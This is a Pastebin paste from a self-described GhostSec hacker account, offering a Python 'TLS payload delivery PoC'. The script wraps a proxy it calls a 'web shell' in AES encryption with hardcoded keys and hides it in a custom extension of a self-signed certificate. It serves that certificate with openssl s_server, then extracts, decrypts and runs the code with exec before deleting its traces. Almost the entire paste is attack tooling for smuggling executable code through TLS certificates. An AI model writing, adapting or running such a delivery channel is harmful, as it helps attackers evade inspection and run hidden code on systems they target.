WhosYourDaddySec

0day 2 of 17 GhostSec

Sep 26th, 2025
277
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.33 KB | None | 0 0
  1. #    Recover All My Accounts Its All Offline And I Was Hoping You Guys Wanted To Play
  2. #WeAreGhost
  3.  
  4. import os
  5. import ssl
  6. import socket
  7. import subprocess
  8. import datetime
  9. import base64
  10. import time
  11. import traceback
  12. import argparse
  13. import logging
  14. import queue
  15. import urllib.parse
  16. import requests
  17. import concurrent.futures
  18. import multiprocessing
  19. from cryptography import x509
  20. from cryptography.x509.oid import ObjectIdentifier, NameOID
  21. from cryptography.hazmat.backends import default_backend
  22. from cryptography.hazmat.primitives import serialization, hashes
  23. from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC
  24. from cryptography.hazmat.primitives.asymmetric import rsa
  25. from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
  26. from colorama import Fore, Style, init
  27.  
  28. init(autoreset=True)
  29.  
  30. CUSTOM_OID = ObjectIdentifier("1.3.6.1.4.1.99999.1.7")
  31. SALT = b"Ghosts_Of_No_Nation"
  32. PASSWORD = b"GhostOfThe7Seas"
  33. IV = b"0123456789abcdef"
  34. KEY_PATH = "ghost_leaf.key"
  35. CERT_PATH = "ghost_leaf.pem"
  36. PAYLOAD_ENC_PATH = "payload.enc"
  37. DEFAULT_OPENSSL_PORT = 4433
  38. LOG_FILE = "ghostsec_tls_poc.log"
  39. MAX_RETRIES = 3
  40. RETRY_DELAY = 5
  41. CONNECTION_TIMEOUT = 10
  42. MAX_WORKERS = 2
  43. OPENSSL_BIN = "openssl"
  44.  
  45. logging.basicConfig(
  46.     filename=LOG_FILE,
  47.     level=logging.INFO,
  48.     format="%(asctime)s [%(levelname)s] %(message)s",
  49.     datefmt="%Y-%m-%d %H:%M:%S",
  50. )
  51.  
  52. WEB_SHELL_TEMPLATE = """
  53. import requests
  54. from http.server import BaseHTTPRequestHandler, HTTPServer
  55. import urllib.parse
  56. target_url = "{target_url}"
  57.  
  58. class MirrorHandler(BaseHTTPRequestHandler):
  59.    def log_message(self, format, *args): pass
  60.  
  61.    def _proxy_request(self):
  62.        try:
  63.            method = self.command
  64.            url = target_url + self.path
  65.            headers = {key: val for key, val in self.headers.items()}
  66.            length = int(self.headers.get('Content-Length', 0))
  67.            data = self.rfile.read(length) if length > 0 else None
  68.            session = requests.Session()
  69.            req = requests.Request(method, url, headers=headers, data=data)
  70.            prepped = session.prepare_request(req)
  71.            resp = session.send(prepped, allow_redirects=True, timeout=15)
  72.            self.send_response(resp.status_code)
  73.            for k, v in resp.headers.items():
  74.                if k.lower() not in ['content-encoding', 'transfer-encoding', 'content-length', 'connection']:
  75.                    self.send_header(k, v)
  76.            self.end_headers()
  77.            self.wfile.write(resp.content)
  78.            print("[WebShell] → {} {} proxied to {}".format(method, self.path, target_url))
  79.        except Exception as e:
  80.            self.send_error(500, str(e))
  81.  
  82.    def do_GET(self): self._proxy_request()
  83.    def do_POST(self): self._proxy_request()
  84.    def do_PUT(self): self._proxy_request()
  85.    def do_DELETE(self): self._proxy_request()
  86.    def do_OPTIONS(self): self._proxy_request()
  87.    def do_HEAD(self): self._proxy_request()
  88.  
  89. def run():
  90.    print("[WebShell] Online at http://0.0.0.0:8080 → " + target_url)
  91.    HTTPServer(('0.0.0.0', 8080), MirrorHandler).serve_forever()
  92.  
  93. run()
  94. """
  95.  
  96. def verbose_log(color, msg):
  97.     print(color + Style.BRIGHT + "[*] " + msg + Style.RESET_ALL)
  98.     logging.info(msg)
  99.  
  100. def check_openssl():
  101.     from shutil import which
  102.     path = which(OPENSSL_BIN)
  103.     if not path:
  104.         verbose_log(Fore.RED, "OpenSSL binary not found. Please install openssl package in Termux.")
  105.         exit(1)
  106.     try:
  107.         result = subprocess.run([OPENSSL_BIN, "version"], capture_output=True, text=True)
  108.         if "OpenSSL" not in result.stdout:
  109.             verbose_log(Fore.RED, "OpenSSL binary invalid or not found.")
  110.             exit(1)
  111.     except Exception:
  112.         verbose_log(Fore.RED, "Failed to execute OpenSSL binary.")
  113.         exit(1)
  114.  
  115. def generate_rsa_key():
  116.     key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
  117.     with open(KEY_PATH, "wb") as f:
  118.         f.write(key.private_bytes(
  119.             encoding=serialization.Encoding.PEM,
  120.             format=serialization.PrivateFormat.TraditionalOpenSSL,
  121.             encryption_algorithm=serialization.NoEncryption()
  122.         ))
  123.     verbose_log(Fore.GREEN, f"Private key saved to {KEY_PATH}")
  124.     return key
  125.  
  126. def encrypt_payload(plain_code: str) -> str:
  127.     key = PBKDF2HMAC(
  128.         algorithm=hashes.SHA512(),
  129.         length=32,
  130.         salt=SALT,
  131.         iterations=100000,
  132.         backend=default_backend()
  133.     ).derive(PASSWORD)
  134.     cipher = Cipher(algorithms.AES(key), modes.CFB(IV), backend=default_backend())
  135.     encryptor = cipher.encryptor()
  136.     encrypted = encryptor.update(plain_code.encode()) + encryptor.finalize()
  137.     b64_encoded = base64.b64encode(encrypted).decode()
  138.     with open(PAYLOAD_ENC_PATH, "w") as f:
  139.         f.write(b64_encoded)
  140.     verbose_log(Fore.GREEN, f"Encrypted payload saved to {PAYLOAD_ENC_PATH}")
  141.     return b64_encoded
  142.  
  143. def generate_certificate_with_payload(payload_b64: str, key):
  144.     subject = issuer = x509.Name([
  145.         x509.NameAttribute(NameOID.COUNTRY_NAME, u"XZ"),
  146.         x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"GhostSec Underground"),
  147.         x509.NameAttribute(NameOID.COMMON_NAME, u"ghostsec-cert-chain"),
  148.     ])
  149.     now = datetime.datetime.now(datetime.timezone.utc)
  150.     cert_builder = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
  151.         key.public_key()
  152.     ).serial_number(
  153.         x509.random_serial_number()
  154.     ).not_valid_before(
  155.         now
  156.     ).not_valid_after(
  157.         now + datetime.timedelta(days=365)
  158.     ).add_extension(
  159.         x509.UnrecognizedExtension(CUSTOM_OID, payload_b64.encode()), critical=False
  160.     )
  161.     cert = cert_builder.sign(private_key=key, algorithm=hashes.SHA512(), backend=default_backend())
  162.     with open(CERT_PATH, "wb") as f:
  163.         f.write(cert.public_bytes(serialization.Encoding.PEM))
  164.     verbose_log(Fore.GREEN, f"Certificate with embedded payload saved to {CERT_PATH}")
  165.  
  166. def launch_openssl_server(port):
  167.     if port < 1024:
  168.         port = 4433
  169.     proc = subprocess.Popen([
  170.         OPENSSL_BIN, "s_server",
  171.         "-accept", str(port),
  172.         "-cert", CERT_PATH,
  173.         "-key", KEY_PATH,
  174.         "-www",
  175.         "-tls1_3",
  176.         "-ciphersuites", "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256"
  177.     ], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
  178.     verbose_log(Fore.GREEN, f"OpenSSL s_server launched with PID {proc.pid} on 0.0.0.0:{port} with TLS1.3")
  179.     return proc, port
  180.  
  181. def get_peer_cert_raw(host, port, retries=MAX_RETRIES, timeout=CONNECTION_TIMEOUT):
  182.     context = ssl.create_default_context()
  183.     context.check_hostname = True
  184.     context.verify_mode = ssl.CERT_REQUIRED
  185.     context.minimum_version = ssl.TLSVersion.TLSv1_2
  186.     context.maximum_version = ssl.TLSVersion.TLSv1_3
  187.     last_exc = None
  188.     for attempt in range(1, retries + 1):
  189.         try:
  190.             with context.wrap_socket(socket.socket(socket.AF_INET), server_hostname=host) as conn:
  191.                 conn.settimeout(timeout)
  192.                 verbose_log(Fore.YELLOW, f"Connecting to {host}:{port} (attempt {attempt}) to retrieve certificate...")
  193.                 conn.connect((host, port))
  194.                 der_cert = conn.getpeercert(binary_form=True)
  195.                 verbose_log(Fore.GREEN, "[+] Certificate successfully retrieved.")
  196.                 return der_cert
  197.         except Exception as e:
  198.             last_exc = e
  199.             verbose_log(Fore.RED, f"Connection attempt {attempt} failed: {e}")
  200.             time.sleep(RETRY_DELAY)
  201.     raise last_exc
  202.  
  203. def extract_payload_from_cert(cert_bytes: bytes):
  204.     cert = x509.load_der_x509_certificate(cert_bytes, default_backend())
  205.     try:
  206.         ext = cert.extensions.get_extension_for_oid(CUSTOM_OID)
  207.         verbose_log(Fore.GREEN, f"Custom OID {CUSTOM_OID.dotted_string} found in certificate")
  208.         return ext.value.value
  209.     except Exception:
  210.         verbose_log(Fore.RED, f"OID {CUSTOM_OID.dotted_string} not found.")
  211.         return None
  212.  
  213. def decrypt_payload(b64_data: str) -> str:
  214.     encrypted_data = base64.b64decode(b64_data)
  215.     key = PBKDF2HMAC(
  216.         algorithm=hashes.SHA512(),
  217.         length=32,
  218.         salt=SALT,
  219.         iterations=100000,
  220.         backend=default_backend()
  221.     ).derive(PASSWORD)
  222.     cipher = Cipher(algorithms.AES(key), modes.CFB(IV), backend=default_backend())
  223.     decryptor = cipher.decryptor()
  224.     decrypted = decryptor.update(encrypted_data) + decryptor.finalize()
  225.     verbose_log(Fore.GREEN, "Payload decrypted successfully")
  226.     return decrypted.decode()
  227.  
  228. def execute_payload_sandboxed(code: str):
  229.     def run_code(queue):
  230.         try:
  231.             exec(code, {"__name__": "__main__"})
  232.             queue.put(None)
  233.         except Exception as e:
  234.             queue.put(traceback.format_exc())
  235.     queue = multiprocessing.Queue()
  236.     p = multiprocessing.Process(target=run_code, args=(queue,))
  237.     p.start()
  238.     p.join(30)
  239.     if p.is_alive():
  240.         p.terminate()
  241.         verbose_log(Fore.RED, "Payload execution timed out and was terminated.")
  242.     else:
  243.         err = queue.get()
  244.         if err:
  245.             verbose_log(Fore.RED, f"Payload execution error:\n{err}")
  246.         else:
  247.             verbose_log(Fore.GREEN, "Payload executed successfully.")
  248.  
  249. def validate_url(url: str):
  250.     parsed = urllib.parse.urlparse(url)
  251.     if parsed.scheme not in ("http", "https"):
  252.         raise ValueError("URL scheme must be http or https")
  253.     if not parsed.hostname:
  254.         raise ValueError("URL must have a valid hostname")
  255.     port = parsed.port
  256.     if port is None:
  257.         port = 443 if parsed.scheme == "https" else 80
  258.     try:
  259.         with socket.create_connection((parsed.hostname, port), timeout=CONNECTION_TIMEOUT):
  260.             pass
  261.     except Exception as e:
  262.         raise ConnectionError(f"Cannot connect to {parsed.hostname}:{port} - {e}")
  263.     return url
  264.  
  265. def worker_task(target_url, server_host, server_port, results_queue):
  266.     try:
  267.         verbose_log(Fore.MAGENTA, f"Starting workflow for target {target_url} via server {server_host}:{server_port}")
  268.         payload_code = WEB_SHELL_TEMPLATE.format(target_url=target_url)
  269.         key = generate_rsa_key()
  270.         payload_b64 = encrypt_payload(payload_code)
  271.         generate_certificate_with_payload(payload_b64, key)
  272.         openssl_proc, actual_port = launch_openssl_server(server_port)
  273.         time.sleep(3)
  274.         cert_bytes = get_peer_cert_raw(server_host, actual_port)
  275.         b64_payload_extracted = extract_payload_from_cert(cert_bytes)
  276.         if not b64_payload_extracted:
  277.             verbose_log(Fore.RED, "Payload extraction failed.")
  278.             results_queue.put((target_url, False, "Payload extraction failed"))
  279.             return
  280.         decrypted_code = decrypt_payload(b64_payload_extracted)
  281.         execute_payload_sandboxed(decrypted_code)
  282.         results_queue.put((target_url, True, "Success"))
  283.     except Exception as e:
  284.         verbose_log(Fore.RED, f"Error for target {target_url}: {e}")
  285.         results_queue.put((target_url, False, str(e)))
  286.     finally:
  287.         for f in [KEY_PATH, CERT_PATH, PAYLOAD_ENC_PATH]:
  288.             try:
  289.                 os.remove(f)
  290.             except FileNotFoundError:
  291.                 pass
  292.         if 'openssl_proc' in locals() and openssl_proc.poll() is None:
  293.             openssl_proc.terminate()
  294.             try:
  295.                 openssl_proc.wait(timeout=5)
  296.             except subprocess.TimeoutExpired:
  297.                 openssl_proc.kill()
  298.         verbose_log(Fore.MAGENTA, f"Cleanup complete for target {target_url}")
  299.  
  300. def main():
  301.     from shutil import which
  302.     if not which(OPENSSL_BIN):
  303.         verbose_log(Fore.RED, "OpenSSL binary not found. Please install openssl package in Termux.")
  304.         exit(1)
  305.     parser = argparse.ArgumentParser(description="GhostSec Automated TLS Payload Delivery PoC for Termux non-root TLS1.3")
  306.     parser.add_argument("--target-urls", required=True, nargs="+", help="One or more target URLs for the web shell")
  307.     parser.add_argument("--server-host", default="127.0.0.1", help="OpenSSL server IP or hostname")
  308.     parser.add_argument("--port", type=int, default=DEFAULT_OPENSSL_PORT, help="OpenSSL server port (>=1024 recommended)")
  309.     args = parser.parse_args()
  310.  
  311.     validated_urls = []
  312.     for url in args.target_urls:
  313.         try:
  314.             validated = validate_url(url)
  315.             validated_urls.append(validated)
  316.             verbose_log(Fore.GREEN, f"Validated target URL: {validated}")
  317.         except Exception as e:
  318.             verbose_log(Fore.RED, f"Invalid target URL '{url}': {e}")
  319.  
  320.     if not validated_urls:
  321.         verbose_log(Fore.RED, "No valid target URLs provided. Exiting.")
  322.         return
  323.  
  324.     results_queue = queue.Queue()
  325.     with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
  326.         futures = []
  327.         for url in validated_urls:
  328.             futures.append(executor.submit(worker_task, url, args.server_host, args.port, results_queue))
  329.         for future in concurrent.futures.as_completed(futures):
  330.             pass
  331.  
  332.     while not results_queue.empty():
  333.         target_url, success, message = results_queue.get()
  334.         if success:
  335.             verbose_log(Fore.GREEN, f"[RESULT] Target {target_url}: Success - {message}")
  336.         else:
  337.             verbose_log(Fore.RED, f"[RESULT] Target {target_url}: Failure - {message}")
  338.  
  339. if __name__ == "__main__":
  340.     main()
Add Comment
Please, Sign In to add comment